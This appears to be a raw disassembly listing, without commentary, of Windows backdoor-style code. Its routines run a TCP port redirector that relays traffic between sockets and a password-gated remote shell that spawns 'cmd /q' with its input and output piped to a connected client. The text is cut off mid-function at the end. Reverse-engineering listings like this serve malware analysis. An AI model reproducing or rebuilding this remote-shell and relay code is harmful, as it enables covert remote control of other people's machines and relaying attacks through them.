Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_44] call dword_4E30F8 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4E3178 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410F97 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_456024[ecx], eax call dword_4E3008 ; WSAAsyncSelect lea eax, [ebp+Dst] push edi push eax push [ebp+arg_0] call dword_4E3124 ; bind test eax, eax jnz loc_410F97 push 0Ah push [ebp+arg_0] call dword_4E3120 ; listen test eax, eax jnz loc_410F97 loc_410EDB: ; CODE XREF: sub_410E2B+C6j ; sub_410E2B+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4E318C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410EDB movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44AFD4 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B756 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_45601C[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_410FBC push esi push esi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_45602C[ecx], eax jz short loc_410F82 loc_410F6F: ; CODE XREF: sub_410E2B+155j cmp [ebp+var_30], esi jnz loc_410EDB push 32h call ds:dword_4F534C ; Sleep jmp short loc_410F6F ; --------------------------------------------------------------------------- loc_410F82: ; CODE XREF: sub_410E2B+142j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B01C ; "-" call sub_415CB3 pop ecx pop ecx jmp short loc_410F9A ; --------------------------------------------------------------------------- loc_410F97: ; CODE XREF: sub_410E2B+63j ; sub_410E2B+97j ... mov edi, [ebp+arg_0] loc_410F9A: ; CODE XREF: sub_410E2B+16Aj push edi call dword_4E3190 ; closesocket push [ebp+arg_0] call dword_4E3190 ; closesocket push [ebp+var_40] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_410E2B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FBC proc near ; DATA XREF: sub_410E2B+124o var_1344 = byte ptr -1344h Source = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch Dst = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4E3178 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_411172 push 10h ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_3C] call dword_4E30F8 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_41104C lea eax, [ebp+var_13C] push eax call dword_4E317C ; gethostbyname jmp short loc_41105A ; --------------------------------------------------------------------------- loc_41104C: ; CODE XREF: sub_410FBC+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4E30B0 ; gethostbyaddr loc_41105A: ; CODE XREF: sub_410FBC+8Ej cmp eax, edi jz loc_411172 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+Dst] push eax push esi call dword_4E30A0 ; connect cmp eax, 0FFFFFFFFh jz loc_411172 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44B058 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Source] push 18h ; int push eax ; Source call sub_40B756 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_456024[ebx] mov dword_45601C[eax], ecx add esp, 20h mov ecx, [esi] mov dword_456028[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_4111A3 push edi push edi call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_45602C[ecx], eax jz short loc_41115F loc_41110C: ; CODE XREF: sub_410FBC+15Dj cmp [ebp+var_20], edi jnz short loc_41111B push 32h call ds:dword_4F534C ; Sleep jmp short loc_41110C ; --------------------------------------------------------------------------- loc_41111B: ; CODE XREF: sub_410FBC+153j mov ebx, 1000h loc_411120: ; CODE XREF: sub_410FBC+19Fj push ebx ; Size lea eax, [ebp+var_1344] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4E3110 ; recv cmp eax, edi jle short loc_411172 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jnz short loc_411120 jmp short loc_411172 ; --------------------------------------------------------------------------- loc_41115F: ; CODE XREF: sub_410FBC+14Ej call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B09C ; "-" call sub_415CB3 pop ecx pop ecx loc_411172: ; CODE XREF: sub_410FBC+44j ; sub_410FBC+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_456024[eax] call dword_4E3190 ; closesocket push [ebp+arg_0] call dword_4E3190 ; closesocket push [ebp+var_4] call sub_40BA72 pop ecx push edi call ds:dword_4F53A0 ; ExitThread pop edi pop esi pop ebx sub_410FBC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111A3 proc near ; DATA XREF: sub_410FBC+130o Dst = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call __alloca_probe mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_4111DA: ; CODE XREF: sub_4111A3+7Cj push edi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push 0 push edi push eax push dword_456028[esi] call dword_4E3110 ; recv test eax, eax jle short loc_411221 push 0 push eax lea eax, [ebp+Dst] push eax push dword_456024[esi] call dword_4E3148 ; send cmp eax, 0FFFFFFFFh jnz short loc_4111DA loc_411221: ; CODE XREF: sub_4111A3+61j push dword_456028[esi] call dword_4E3190 ; closesocket push [ebp+var_14] call sub_40BA72 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_4111A3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411240 proc near ; DATA XREF: sub_4114CE+1BEo var_3D4 = byte ptr -3D4h Str1 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h Dest = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch Args = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_456024[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4E30E0 ; select test eax, eax jnz short loc_4112C4 push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_4112C4: ; CODE XREF: sub_411240+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4E3110 ; recv lea eax, [ebp+Args] push 10h push eax push dword ptr [esi] call sub_411445 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_411445 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_411445 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4E304C ; getpeername test eax, eax jz short loc_41133D call dword_4E308C ; WSAGetLastError push eax ; Args push offset asc_44B0DC ; "-" call sub_415CB3 push [ebp+arg_0] call sub_40BA72 add esp, 0Ch push edi call ds:dword_4F53A0 ; ExitThread loc_41133D: ; CODE XREF: sub_411240+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4E30B0 ; gethostbyaddr cmp eax, edi jnz short loc_411367 push [ebp+var_18] call dword_4E3184 ; inet_ntoa push eax ; Format lea eax, [ebp+Dest] push eax ; Dest call _sprintf jmp short loc_411375 ; --------------------------------------------------------------------------- loc_411367: ; CODE XREF: sub_411240+10Dj push dword ptr [eax] ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy loc_411375: ; CODE XREF: sub_411240+125j pop ecx pop ecx push edi push ebx push offset dword_4E5E9C push dword ptr [esi] call dword_4E3148 ; send cmp dword_4E5E94, edi jnz short loc_4113D7 push [ebp+var_18] lea eax, [ebp+Str1] push eax ; Str1 lea eax, [ebp+Dest] push eax ; int lea eax, [ebp+Args] push eax ; Args call sub_41149F add esp, 10h test eax, eax jnz short loc_4113D7 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4E3148 ; send push dword ptr [esi] call dword_4E3190 ; closesocket push [ebp+arg_0] call sub_40BA72 pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_4113D7: ; CODE XREF: sub_411240+14Cj ; sub_411240+16Dj lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_44B11C ; "-" call sub_415CB3 push [ebp+arg_0] call sub_411756 add esp, 10h test eax, eax jnz short loc_41141E call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B144 ; "-" call sub_415CB3 push [ebp+arg_0] call sub_40BA72 add esp, 0Ch push ebx call ds:dword_4F53A0 ; ExitThread loc_41141E: ; CODE XREF: sub_411240+1B9j lea eax, [ebp+Dest] push eax lea eax, [ebp+Args] push eax ; Args push offset asc_44B170 ; "-" call sub_415CB3 push [ebp+arg_0] call sub_40BA72 add esp, 10h push edi call ds:dword_4F53A0 ; ExitThread sub_411240 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411445 proc near ; CODE XREF: sub_411240+9Ap ; sub_411240+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4E3110 ; recv cmp eax, 1 jnz short loc_411495 mov esi, [ebp+arg_4] loc_411463: ; CODE XREF: sub_411445+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_41148A test al, al jz short loc_411499 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4E3110 ; recv cmp eax, 1 jz short loc_411463 jmp short loc_411495 ; --------------------------------------------------------------------------- loc_41148A: ; CODE XREF: sub_411445+27j push offset asc_44B19C ; "-" call sub_415CB3 pop ecx loc_411495: ; CODE XREF: sub_411445+19j ; sub_411445+43j xor eax, eax jmp short loc_41149C ; --------------------------------------------------------------------------- loc_411499: ; CODE XREF: sub_411445+2Bj push 1 pop eax loc_41149C: ; CODE XREF: sub_411445+52j pop esi leave retn sub_411445 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_41149F(char *Args,int,char *Str1) sub_41149F proc near ; CODE XREF: sub_411240+163p Args = dword ptr 4 arg_4 = dword ptr 8 Str1 = dword ptr 0Ch push [esp+Args] ; Str2 push [esp+4+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4114CA push [esp+arg_4] push [esp+4+Args] ; Args push offset dword_44B1C8 ; Format call sub_415CB3 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_4114CA: ; CODE XREF: sub_41149F+11j push 1 pop eax retn sub_41149F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4114CE proc near ; DATA XREF: sub_401CC7+23C5o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h Source = byte ptr -414h var_214 = dword ptr -214h Str = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h Dst = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4E3068 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_411527 push eax ; Args push offset asc_44B238 ; "-" call sub_415CB3 push [ebp+var_4C] call sub_40BA72 add esp, 0Ch push edi call ds:dword_4F53A0 ; ExitThread loc_411527: ; CODE XREF: sub_4114CE+3Aj push edi push offset loc_41174C call ds:dword_4F53F8 ; SetConsoleCtrlHandler test eax, eax jnz short loc_411560 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B264 ; "-" call sub_415CB3 pop ecx pop ecx call dword_4E3050 ; WSACleanup push [ebp+var_4C] call sub_40BA72 pop ecx push edi call ds:dword_4F53A0 ; ExitThread loc_411560: ; CODE XREF: sub_4114CE+67j push ebx push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_50] call dword_4E30F8 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4E3178 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4116D7 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_456024[eax], ebx lea eax, [ebp+Dst] push eax push ebx call dword_4E3124 ; bind test eax, eax jnz loc_4116D7 push 7FFFFFFFh push ebx call dword_4E3120 ; listen test eax, eax jnz loc_4116D7 push offset unk_44B2A8 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_415C3F pop ecx mov [ebp+arg_0], edi loc_4115EF: ; CODE XREF: sub_4114CE+15Aj ; sub_4114CE+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4E318C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_4116DA push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4E30D8 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_4115EF movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4E3184 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_44B2E4 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415C3F push edi ; int lea eax, [ebp+Source] push 9 ; int push eax ; Source call sub_40B756 mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_45601C[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_411240 lea eax, [ebp+var_10] push esi push eax call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_45602C[ecx], eax jz short loc_4116C2 loc_4116AF: ; CODE XREF: sub_4114CE+1F2j cmp [ebp+var_38], esi jnz loc_4115EF push 32h call ds:dword_4F534C ; Sleep jmp short loc_4116AF ; --------------------------------------------------------------------------- loc_4116C2: ; CODE XREF: sub_4114CE+1DFj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B328 ; "-" call sub_415CB3 pop ecx pop ecx jmp short loc_4116DA ; --------------------------------------------------------------------------- loc_4116D7: ; CODE XREF: sub_4114CE+C8j ; sub_4114CE+ECj ... mov edi, [ebp+arg_0] loc_4116DA: ; CODE XREF: sub_4114CE+13Cj ; sub_4114CE+207j call dword_4E308C ; WSAGetLastError push eax lea eax, [ebp+Source] push offset asc_44B364 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_41171A push esi ; int lea eax, [ebp+Source] push [ebp+var_40] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409D34 add esp, 14h loc_41171A: ; CODE XREF: sub_4114CE+22Aj lea eax, [ebp+Source] push eax call sub_415C3F pop ecx push edi call dword_4E3190 ; closesocket push ebx call dword_4E3190 ; closesocket call dword_4E3050 ; WSACleanup push [ebp+var_4C] call sub_40BA72 pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop ebx loc_41174C: ; DATA XREF: sub_4114CE+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_4114CE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411756 proc near ; CODE XREF: sub_411240+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_4118A7 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_456024[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_4F5350 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411A79 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_4117C1 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B39C ; "-" call sub_415CB3 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_4117FB ; --------------------------------------------------------------------------- loc_4117C1: ; CODE XREF: sub_411756+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411B2B lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411802 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B3E4 ; "-" call sub_415CB3 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4F5380 ; TerminateThread loc_4117FB: ; CODE XREF: sub_411756+69j xor eax, eax jmp loc_4118A2 ; --------------------------------------------------------------------------- loc_411802: ; CODE XREF: sub_411756+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_4F53FC ; WaitForMultipleObjects sub eax, ebx jz short loc_41185C dec eax jz short loc_411856 dec eax jz short loc_411842 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B42C ; "-" call sub_415CB3 pop ecx pop ecx jmp short loc_411871 ; --------------------------------------------------------------------------- loc_411842: ; CODE XREF: sub_411756+D5j mov edi, ds:dword_4F5380 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_411871 ; --------------------------------------------------------------------------- loc_411856: ; CODE XREF: sub_411756+D2j push ebx push dword ptr [esi+10h] jmp short loc_411860 ; --------------------------------------------------------------------------- loc_41185C: ; CODE XREF: sub_411756+CFj push ebx push dword ptr [esi+14h] loc_411860: ; CODE XREF: sub_411756+104j call ds:dword_4F5380 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4F53C4 ; TerminateProcess loc_411871: ; CODE XREF: sub_411756+EAj ; sub_411756+FEj push dword ptr [esi+10h] mov edi, ds:dword_4F533C call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4E3190 ; closesocket push esi ; Memory call _free pop ecx push 1 pop eax loc_4118A2: ; CODE XREF: sub_411756+A7j pop edi pop esi pop ebx leave retn sub_411756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118A7 proc near ; CODE XREF: sub_411756+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h ; Size mov [ebp+var_4], edi mov [ebp+var_8], edi call _malloc mov esi, eax pop ecx cmp esi, edi jz loc_411991 mov ebx, ds:dword_4F53D0 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_4F533C test eax, eax jnz short loc_41190A call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44B460 jmp short loc_41192A ; --------------------------------------------------------------------------- loc_41190A: ; CODE XREF: sub_4118A7+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_411932 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B4A0 ; "-" loc_41192A: ; CODE XREF: sub_4118A7+61j call sub_415CB3 pop ecx jmp short loc_411960 ; --------------------------------------------------------------------------- loc_411932: ; CODE XREF: sub_4118A7+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_4119A0 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_411995 push offset unk_44B4E0 call sub_415C3F loc_411960: ; CODE XREF: sub_4118A7+89j cmp [ebp+var_4], 0 pop ecx jz short loc_41196C push [ebp+var_4] call edi ; CloseHandle loc_41196C: ; CODE XREF: sub_4118A7+BEj cmp [ebp+var_8], 0 jz short loc_411977 push [ebp+var_8] call edi ; CloseHandle loc_411977: ; CODE XREF: sub_4118A7+C9j mov eax, [esi] test eax, eax jz short loc_411980 push eax call edi ; CloseHandle loc_411980: ; CODE XREF: sub_4118A7+D4j mov eax, [esi+4] test eax, eax jz short loc_41198A push eax call edi ; CloseHandle loc_41198A: ; CODE XREF: sub_4118A7+DEj push esi ; Memory call _free pop ecx loc_411991: ; CODE XREF: sub_4118A7+1Dj xor eax, eax jmp short loc_41199B ; --------------------------------------------------------------------------- loc_411995: ; CODE XREF: sub_4118A7+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41199B: ; CODE XREF: sub_4118A7+ECj pop edi pop esi pop ebx leave retn sub_4118A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119A0 proc near ; CODE XREF: sub_4118A7+94p Dst = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_4], esi call _memset push 10h ; Size lea eax, [ebp+var_14] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+Dst], edi mov edi, ds:dword_4F53CC push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_4F53C8 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+Dst] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_4F5340 ; CreateProcessA test eax, eax jz short loc_411A5C mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_456020[eax], ecx call ds:dword_4F533C ; CloseHandle jmp short loc_411A72 ; --------------------------------------------------------------------------- loc_411A5C: ; CODE XREF: sub_4119A0+9Aj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax ; Args push offset asc_44B510 ; "-" call sub_415CB3 mov esi, [ebp+var_4] pop ecx pop ecx loc_411A72: ; CODE XREF: sub_4119A0+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_4119A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A79 proc near ; DATA XREF: sub_411756+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_4F53BC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411AA2: ; CODE XREF: sub_411A79+8Fj call ebx ; ReadFile test eax, eax jz short loc_411B0A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411ADD loc_411AB3: ; CODE XREF: sub_411A79+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411ACD cmp dl, 0Dh jz short loc_411ACD mov [ebp+eax+var_1B0], 0Dh inc eax loc_411ACD: ; CODE XREF: sub_411A79+44j ; sub_411A79+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411AB3 loc_411ADD: ; CODE XREF: sub_411A79+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4E3148 ; send test eax, eax jle short loc_411B0A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411AA2 ; --------------------------------------------------------------------------- loc_411B0A: ; CODE XREF: sub_411A79+2Dj ; sub_411A79+79j mov esi, ds:dword_4F5360 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411B26 call esi ; RtlGetLastWin32Error push eax ; Args push offset asc_44B548 ; "-" call sub_415CB3 pop ecx pop ecx loc_411B26: ; CODE XREF: sub_411A79+9Cj pop edi pop esi pop ebx leave retn sub_411A79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411B2B proc near ; DATA XREF: sub_411756+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 